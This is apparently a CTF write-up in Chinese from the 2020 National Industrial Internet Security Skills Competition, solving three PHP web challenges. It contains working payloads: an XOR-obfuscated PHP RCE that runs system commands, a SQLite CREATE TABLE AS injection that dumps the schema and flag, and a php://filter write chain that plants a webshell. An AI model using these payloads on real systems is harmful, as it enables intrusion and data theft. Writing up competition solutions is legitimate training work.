2020全国工业互联网安全技能大赛——学生组预选赛WRITEUP

WEB

签到

进入网页拼图获得flag

%title插图%num

SimpleCalculator

看到计算器,猜测大概就是一个rce的题,计算器的输入框也有一个小的hint,丰富php的数学函数,那就是利用数学函数运算得到函数和命令,分析过滤之后能够知道:可能是白名单,同时还有长度限制。
我们可以利用异或构造

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <=9;$j++){
            $exp = $payload[$k] ^ $i.$j;
            echo($payload[$k]."^$i$j"."==>$exp");
            echo "<br />";
        }
    }
}

然后我们构造
Payload:

$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=ls /

%title插图%num

$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag

%title插图%num

SqlMangager

读.index.php.swp

<?php
include 'util.php';
include 'config.php';

error_reporting(0);
session_start();

$method = (string) ($_SERVER['REQUEST_METHOD'] ?? 'GET');
$page = (string) ($_GET['page'] ?? 'index');
if (!in_array($page, ['index', 'build', 'modify', 'remove'])) {
  redirect('?page=index');
}

$message = $_SESSION['flash'] ?? '';
unset($_SESSION['flash']);

if (in_array($page, ['modify', 'remove']) && !isset($_SESSION['database'])) {
  flash("Please build database first.");
}

if (isset($_SESSION['database'])) {
  $pdo = new PDO('sqlite:db/' . $_SESSION['database']);
  $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name <> '" . tableName . "' LIMIT 1;");
  $tName = $stmt->fetch(PDO::FETCH_ASSOC)['name'];

  $stmt = $pdo->query("PRAGMA table_info(`{$tName}`);");
  $cName = $stmt->fetchAll(PDO::FETCH_ASSOC);
}

if ($page === 'modify' && $method === 'POST') {
  $values = $_POST['values'];
  $stmt = $pdo->prepare("INSERT INTO `{$tName}` VALUES (?" . str_repeat(',?', count($cName) - 1) . ")");
  $stmt->execute($values);
  redirect('?page=index');
}

if ($page === 'build' && $method === 'POST' && !isset($_SESSION['database'])) {
  if (!isset($_POST['table_name']) || !isset($_POST['columns'])) {
    flash('Parameters missing.');
  }

  $tName = (string) $_POST['table_name'];
  $ccc = $_POST['columns'];
  $filename = bin2hex(random_bytes(16)) . '.db';
  $pdo = new PDO('sqlite:db/' . $filename);

  if (!filter($tName)) {
    flash('琛ㄤ笉鍚堟硶');
  }
  if (strlen($tName) < 4 || 32 < strlen($tName)) {
    flash('琛ㄤ笉鍚堟硶');
  }
  if (count($ccc) <= 0 || 10 < count($ccc)) {
    flash('鍒椾笉鍚堟硶');
  }

  $sql = "CREATE TABLE {$tName} (";
  $sql .= "example1 TEXT, example2 TEXT";
  for ($i = 0; $i < count($ccc); $i++) {
    $column = (string) ($ccc[$i]['name'] ?? '');
    $type = (string) ($ccc[$i]['type'] ?? '');

    if (!filter($column) || !filter($type)) {
      flash('鍒椾笉鍚堟硶');
    }
    if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {
      flash('鍒椾笉鍚堟硶');
    }

    $sql .= ', ';
    $sql .= "`$column` $type";
  }
  $sql .= ');';

  $pdo->query('CREATE TABLE `' . tableName . '` (`' . columnName . '` TEXT);');
  $pdo->query('INSERT INTO `' . tableName . '` VALUES ("' . ans . '");');
  $pdo->query($sql);

  $_SESSION['database'] = $filename;
  redirect('?page=index');
}

if ($page === 'remove') {
  $_SESSION = array();
  session_destroy();
  redirect('?page=index');
}

if ($page === 'index' && isset($_SESSION['database'])) {
  $stmt = $pdo->query("SELECT * FROM `{$tName}`;");

  if ($stmt === FALSE) {
    $_SESSION = array();
    session_destroy();
    redirect('?page=index');
  }

  $result = $stmt->fetchAll(PDO::FETCH_NUM);
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="style.css">
    <script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script>
    <title>SQLManager</title>
  </head>
  <body background="show.jpg">
    <h1>SQLManager</h1>
<?php if (!empty($message)) { ?>
    <div class="info">淇℃伅 <?= $message ?></div>
<?php } ?>
<?php if ($page === 'index') { ?>
<?php if (isset($_SESSION['database'])) { ?>
    <h2><?= e($tName) ?> (<a href="?page=remove">鍒犺〃</a>)</h2>
    <form action="?page=modify" method="POST">
      <table>
        <tr>
<?php for ($i = 0; $i < count($cName); $i++) { ?>
          <th><?= e($cName[$i]['name']) ?></th>
<?php } ?>
        </tr>
<?php for ($i = 0; $i < count($result); $i++) { ?>
        <tr>
<?php for ($j = 0; $j < count($result[$i]); $j++) { ?>
          <td><?= e($result[$i][$j]) ?></td>
<?php } ?>
        </tr>
<?php } ?>
        <tr>
<?php for ($i = 0; $i < count($cName); $i++) { ?>
          <td><input type="text" name="values[]"></td>
<?php } ?>
        </tr>
      </table>
      <input type="submit" value="Insert values">
    </form>
<?php } else { ?>
    <h2>寤鸿〃</h2>
    <form action="?page=build" method="POST">
      <div id="info">
        <label>琛ㄥ悕 <input type="text" name="table_name" id="table_name" value="杈撳叆琛ㄥ悕"></label><br>
        <label>鍒楁暟 <input type="number" min="1" max="10" id="num" value="1"></label><br>
        <button id="next">Next</button>
      </div>
      <div id="table" class="hidden">
        <table>
          <tr>
            <th>Name</th>
            <th>Type</th>
          </tr>
          <tr>
            <td>example1</td>
            <td>TEXT</td>
          </tr>
          <tr>
            <td>example2</td>
            <td>TEXT</td>
          </tr>
        </table>
        <input type="submit" value="Create table">
      </div>
    </form>
    <script>
    $('#next').on('click', () => {
      let num = parseInt($('#num').val(), 10);
      let len = $('#table_name').val().length;

      if (4 <= len && len <= 32 && 0 < num && num <= 10) {
        $('#info').addClass('hidden');
        $('#table').removeClass('hidden');

        for (let i = 0; i < num; i++) {
          $('#table table').append($(`
          <tr>
            <td><input type="text" name="columns[${i}][name]"></td>
            <td>
              <select name="columns[${i}][type]">
                <option value="INTEGER">INTEGER</option>
                <option value="REAL">REAL</option>
                <option value="TEXT">TEXT</option>
              </select>
            </td>
          </tr>`));
        }
      }

      return false;
    });
    </script>
<?php } ?>
<?php } ?>

由源码我们能够知道数据库是sqlite,页面也能够看出来是一个sql注入题,
另外,SQLite中可以使用CREATE TABLE … AS这样的用法,从其他的表的内容来创建新的表。
利用这些,在创建表时,表名t AS SELECT sql [, 列名abc,列类型]FROM sqlite_master;,
因为后面的$column也可控,所以这里可以用as "..."来把这一段干扰字符闭合到查询的别名里。双引号被过滤了,在sqlite中可以用中括号[]来代替。
构造出payload:

table_name=yyy as select sql as[
columns[0][name]=]from sqlite_master;&columns[0][type]=2

%title插图%num

这里就查询到表名和列名了,在查询字段值

table_name=yyy as select flag_ThE_C0lumn [
&columns[0][name]=]from flag_Y0U_c4nt_GUESS;&columns[0][type]=2

%title插图%num

easyphp

进入题目就是一个比较明显的文件包含,
先读下源码,

<?php
error_reporting(0);
$page = isset($_GET['page']) ? $_GET['page'] : 'main.html';
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    header('location:index.php?page=main.html');
}
// You may want to see 7fa3b767c460b54a2be4d49030b349c7.php
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <title>Home</title>
    <link href="css/bootstrap.css" rel="stylesheet" type="text/css" media="all" />
    <!-- Custom Theme files -->
    <script src="js/jquery.min.js"></script>
    <!--theme-style-->
    <link href="css/style.css" rel="stylesheet" type="text/css" media="all" />
    <!--//theme-style-->
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta name="keywords" content="" />
    <script type="application/x-javascript">
        addEventListener("load", function() {
            setTimeout(hideURLbar, 0);
        }, false);

        function hideURLbar() {
            window.scrollTo(0, 1);
        }
    </script>

    <link href='http://fonts.googleapis.com/css?family=Muli:400,300' rel='stylesheet' type='text/css'>
    <link href='http://fonts.googleapis.com/css?family=Oswald' rel='stylesheet' type='text/css'>
    <!-- animation-effect -->
    <link href="css/animate.min.css" rel="stylesheet">
    <script src="js/wow.min.js"></script>
    <script>
        new WOW().init();
    </script>
    <!-- //animation-effect -->

</head>

<body>
    <?php include $page; ?>
</body>

</html>
可以看到一个7fa3b767c460b54a2be4d49030b349c7.php,访问
Here is your sandbox: 4e5b09b2149f7619cca155c8bd6d8ee5 <?php
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
echo "Here is your sandbox: ". md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if (isset($_GET['content'])) {
    $content = $_GET['content'];
    if (preg_match('/iconv|UCS|UTF|rot|quoted|base64|%|toupper|tolower|dechunk|\.\./i', $content))
        die('hacker');
    if (file_exists($content))
        require_once($content);
    file_put_contents($content, '<?php exit();' . $content);
}

和2020wmctf题目很相似,参考nu1l的wp,我们使用url二次编码,用strip_tags绕过<?php exit();
payload:

php://filter/write=string.strip_tags|zlib.inflate|%3F%3E%b3%b1%2f%c8%2
8%50%28%ae%2c%2e%49%cd%d5%50%89%77%77%0d%89%8e%8f%d5%b4%b6%b7%03%3C%3F/resourc
e=yyy.php

文件是写入沙盒里面的,访问读flag

yyy.php?_=/readflag

新姿势:https://www.l1ch.cn/index.php/archives/81/

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇